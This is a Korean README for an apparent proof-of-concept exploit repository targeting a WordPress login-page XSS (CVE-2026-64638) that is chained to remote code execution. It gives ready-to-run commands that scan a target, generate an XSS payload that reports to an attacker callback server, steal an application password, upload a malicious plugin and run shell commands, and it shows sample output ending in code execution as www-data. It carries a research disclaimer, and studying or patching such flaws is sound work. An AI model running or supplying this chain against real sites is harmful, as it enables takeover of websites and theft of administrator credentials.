
CVE-2026-64638: WordPress 사전 인증 XSS → RCE (XSS2Shell) PoC
사전 인증 반사형 XSS → WordPress 코어 원격 코드 실행
⚠️ 고지사항: 이 저장소는 승인된 보안 연구 및 교육 목적으로만 제공됩니다. 소유하지 않았거나 명시적 서면 허가를 받지 않은 시스템에 사용하지 마십시오. 무단 접근은 불법입니다. SECURITY.md를 참조하세요.
CVE-2026-64638은 WordPress 코어의 로그인/wplogin 처리 파이프라인에서 발생하는 사전 인증 반사형 XSS입니다. 이 결함은 잘못된 형식의 입력이 PHP의 strip_tags()를 통과하지만 이후 wp_kses_post()에 의해 HTML로 재구성되는 파서 차이(parser differential)에서 비롯되며, 공격자가 제어하는 마크업이 DOM에 도달할 수 있게 합니다.
pwn.ai의 연구원들은 XSS2Shell을 시연했습니다. 이는 인증된 관리자가 공격자가 제어하는 콘텐츠와 상호작용할 때 기본 WordPress 설치에서 이 XSS를 완전한 PHP 코드 실행으로 승격시키는 공격 체인입니다.
| 속성 | 값 |
|---|---|
| CVE | CVE-2026-64638 |
| CVSS | 8.9 |
| 유형 | 반사형 XSS → RCE 체인 |
| 구성 요소 | WordPress 코어 로그인 페이지 |
| 영향 범위 | WordPress < 7.0.3 (4.7까지 백포트) |
| 패치 버전 | WordPress 7.0.3 (2026년 8월 6일) |
| 근본 원인 | 파서 차이: strip_tags() vs wp_kses_post() |
git clone https://github.com/<your>/CVE-2026-64638-POC.git
cd CVE-2026-64638-POC
# One command — spin up vulnerable WordPress 7.0.2 + run full chain
./test.sh up
./test.sh chain
동작 과정:
[STAGE 1] WordPress 7.0.2 → VULNERABLE
[STAGE 2] XSS payload URL generated
[STAGE 3] Application Password created
[STAGE 4] Plugin uploaded + activated
[STAGE 5] RCE → uid=33(www-data)
./test.sh up # Start Docker + install WordPress (admin/admin123)
./test.sh scan # Detect version & patch status
./test.sh chain # Run full XSS2Shell RCE chain
./test.sh all # up + scan + chain (all-in-one)
./test.sh down # Stop containers
./test.sh clean # Stop + remove all volumes
# Or with Make
make up # Start Docker
make install # Install WordPress
make scan # Check vulnerability
make gen-xss # Generate XSS payload URL
make test-chain # Full RCE chain
make serve # Start callback server on :8080
make down # Stop containers
CVE-2026-64638-POC/
├── README.md
├── SECURITY.md # Security policy & disclaimer
├── docker-compose.yml # WordPress 7.0.2 + MySQL 8 + WP-CLI
├── Makefile # Shortcut commands
├── test.sh # Automated test suite
├── requirements.txt # Python dependencies
│
├── xss2shell_chain.py # [MAIN] Full chain: scan → XSS → app-password → plugin → RCE
├── xss2shell_scanner.py # Version detection + username reflection test
├── xss2shell_checker.py # Lightweight patch checker (safe, non-exploitative)
├── exploit_server.py # Callback server for XSS exfiltration
├── xss_payload.html # Interactive XSS PoC (browser)
│
└── docs/
├── CHAIN.md # Technical breakdown of all 7 chain stages
├── MITIGATION.md # Defensive guidance + detection rules
└── PAYLOAD_NOTES.md # Notes on the CVE-specific bypass payload
python3 -m venv .venv && source .venv/bin/activate
pip install -r requirements.txt
# Scan target
python3 xss2shell_chain.py scan -u https://target.example.com
# Generate XSS payload
python3 xss2shell_chain.py gen-xss -u https://target.example.com -c http://your-ip:8080
# Full chain (requires WordPress admin credentials)
python3 xss2shell_chain.py chain \
-u https://target.example.com \
--user admin --pass "password" \
--cmd "id"
# Individual stages
python3 xss2shell_chain.py stage-apppass -u URL --user U --pass P
python3 xss2shell_chain.py stage-plugin -u URL --apppass "PASS"
python3 xss2shell_chain.py stage-rce -u URL --cmd "whoami"
전체 세부 사항은 docs/CHAIN.md를 참조하세요.
┌─────────────────────────────────────────────────────────────────┐
│ 1. Reflected XSS on wp-login.php (failed-login error page) │
│ 2. DOM clobbering to manipulate page context │
│ 3. JSONP / Same-Origin Method Execution (SOME) │
│ 4. Application Password creation via REST API │
│ 5. REST API access with stolen Application Password │
│ 6. Malicious plugin/theme upload │
│ 7. PHP code execution → full RCE │
└─────────────────────────────────────────────────────────────────┘
참고: 3~7단계는 XSS 페이로드와 상호작용하는 로그인된 관리자가 필요합니다. 이 취약점은 사전 인증이지만, 전체 RCE 체인을 완료하려면 관리자 수준의 액세스가 필요합니다.
자세한 강화 및 탐지 규칙은 docs/MITIGATION.md를 참조하세요.
보안 연구 및 PoC. 교육 목적으로만 사용하세요.
MIT — LICENSE 참조